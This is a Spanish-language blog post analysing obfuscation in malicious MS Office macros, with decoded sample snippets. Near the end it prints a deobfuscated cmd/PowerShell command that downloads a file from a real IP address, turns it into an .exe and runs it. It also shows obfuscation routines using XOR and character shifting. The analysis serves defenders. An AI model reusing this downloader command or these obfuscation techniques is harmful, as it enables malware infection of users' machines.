Ofuscación de malware en macros de MS Office (II)
La “última” moda en la distribución de malware viene en forma de documentos de MS Office con macros que llegan a tu bandeja de entrada. Si estas macros se llegan a ejecutar, intentaran descargar un ejecutable y lanzarlo para infectar el sistema. Para dificultar el trabajo de los analistas, los autores de estas macros ponen distintos obstáculos. En este post voy a continuar donde lo dejé en mi anterior post. Veamos qué métodos de ofuscación utilizan los escritores de Malware para dificultar el trabajo de los analistas.
Ofuscación
El primer tipo de ofuscación es el más sencillo. Se utilizan cadenas de caracteres normales intercaladas con caracteres representados en su codificación decimal. A continuación un ejemplo:
Set pP5hKP = CreateObject(ggSFhCPeLdOSshe(Chr$(85) & Chr$(50) & Chr$(104) & Chr$(108) & Chr$(98) & Chr$(71) & Chr$(119) & Chr$(117) & Chr$(81) & Chr$(88) & Chr$(66) & Chr$(119) & Chr$(98) & Chr$(71) & Chr$(108) & Chr$(106) & Chr$(89) & Chr$(88) & Chr$(82) & Chr$(112) & Chr$(98) & Chr$(50) & Chr$(52) & Chr$(61))) pP5hKP.Open Environ(ggSFhCPeLdOSshe(Chr$(86) & Chr$(69) & Chr$(86) & Chr$(78) & Chr$(85) & Chr$(65) & Chr$(61) & Chr$(61))) & ggSFhCPeLdOSshe(Chr$(88) & Chr$(71) & Chr$(82) & Chr$(122) & Chr$(90) & Chr$(110) & Chr$(78) & Chr$(107) & Chr$(90) & Chr$(110) & Chr$(78) & Chr$(107) & Chr$(90) & Chr$(105) & Chr$(53) & Chr$(108) & Chr$(101) & Chr$(71) & Chr$(85) & Chr$(61))
Estás concatenaciones de ChrS quedan como se muestra a continuación al pasar las cadenas a su interpretación en ASCII:
Set pP5hKP = CreateObject(ggSFhCPeLdOSshe("U2hlbGwuQXBwbGljYXRpb24=")) pP5hKP.Open Environ(ggSFhCPeLdOSshe("VEVNUA=="))& ggSFhCPeLdOSshe("XGRzZnNkZnNkZi5leGU=")
Como podéis ver, las cadenas siguen sin ser especialmente legibles, pero si se analiza el script, o si se ha visto antes qué pinta tiene una cadena codificada en base64, se puede llegar a la conclusión de que la función ggSFhCPeLdOSshe lo único que hace es descodificar las cadenas en base64. Limpiando todo el código quedaría así:
Set pP5hKP = CreateObject("Shell.Application") pP5hKP.Open Environ("TEMP") & "\dsfsdfsdf.exe"
En esta misma línea de ofuscación utilizando distintas codificaciones, algunas muestras utilizan la representación hexadecimal. Un ejemplo a continuación:
FUYvhbjkgUYV = XORI(Hextostring("3E021E18585B5E624744584C415F674552525A44496659191C03005E3A1A0E46121C01"), Hextostring("56766A68627471"))
Si lo pasamos de hexadecimal a ASCII la cadenas quedarían así:
FUYvhbjkgUYV = XORI(Hextostring(">X[^bGDXLA_gERRZDIfY^:F"), Hextostring("Vvjhbtq"))
Estas cadenas. En principio, tampoco tienen mucho sentido, pero si analizamos la función XORI, encontramos el primero de los cifrados que vamos a analizar.
Cifrado
XOR
En el trozo de código anterior, la función XORI realiza un cifrado XOR sobre la primera cadena y utilizando la segunda cadena como clave. Este es un cifrado muy simple, una de las implementaciones que se pueden encontrar en la siguiente:
Public Function XORI(ByVal string1 As String, ByVal key As String) As String Dim i As Long For i = 1 To Len(string1) XORI = XORI & Chr(Asc(Mid(key, IIf(i Mod Len(key) <> 0, i Mod Len(key), Len(key)), 1)) Xor Asc(Mid(string1, i, 1))) Next i End Function
Este código que puede parecer complicado, se puede entender más fácil si lo traducimos a python:
a = "3E021E18585B5E624744584C415F674552525A44496659191C03005E3A1A0E46121C01" b = "56766A68627471" binary_a = a.decode("hex") binary_b = b.decode("hex") def xor_strings(xs, ys): xored = "" for i in range(0,len(xs),len(ys)): ini = i end = i+len(ys) for x, y in zip(xs[ini:end], ys): xored += chr(ord(x) ^ ord(y)) return xored xored = xor_strings(binary_a, binary_b).encode("hex") print xored print xored.decode("hex")
Este código es el mismo código que publiqué hace unos meses en mi blog personal, pero un poco más limpio.
Básicamente se está “xoreando” la cadena en la variable a
usando como clave la variable b
.
Cifrado de Cesar
El cifrado de César es un cifrado de sustitución en el que cada letra se sustituye por la letra que se encuentra X posiciones después de esta, donde X es la clave de cifrado. Por ejemplo para un cifrado de César con clave 5, la tabla de sustitución sería la siguiente:
En el ejemplo que aparece a continuación, podemos ver un ejemplo de ROT13, o lo que es lo mismo, un cifrado de César con clave 13.
Public Function Function_1(ByVal srt_1 As String) As String Dim counter As Long For counter = 1 To Len(srt_1) Function_1 = Function_1 & Chr(Asc(Mid(srt_1, counter, 1)) - 13) Next counter End Function
Esta función recorre la cadena que recibe carácter a carácter y le resta 13. Es decir, se trata de un cifrado de Cesar de clave 13, desplazaría 13 posiciones hacia el inicio para descifrar, pero en lugar del abecedario, utiliza la tabla ASCII.
La cadena presente en la muestra analizada quedaría descifrada de la siguiente manera:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\\JIOiodfhioIH.cab'); expand %TEMP%\\JIOiodfhioIH.cab %TEMP%\\JIOiodfhioIH.exe; start %TEMP%\\JIOiodfhioIH.exe;
Conclusión
Los escritores de malware se las ingenian para hacernos la vida más difícil cada vez a los analistas. Estas protecciones que utilizan están en constante evolución, de forma que herramientas como oledump.py deben actualizarse constantemente a la misma velocidad que el malware evoluciona.
Hay muchos más trucos que se están utilizando para ofuscar estas macros (renombrar funciones, dividir la funcionalidad en distintas macros, etc.) y por eso mismo os invito a coger alguno de estos documentos y analizarlo para que veáis hasta donde llegan realmente los autores de estas macros para ofuscar el comportamiento malicioso.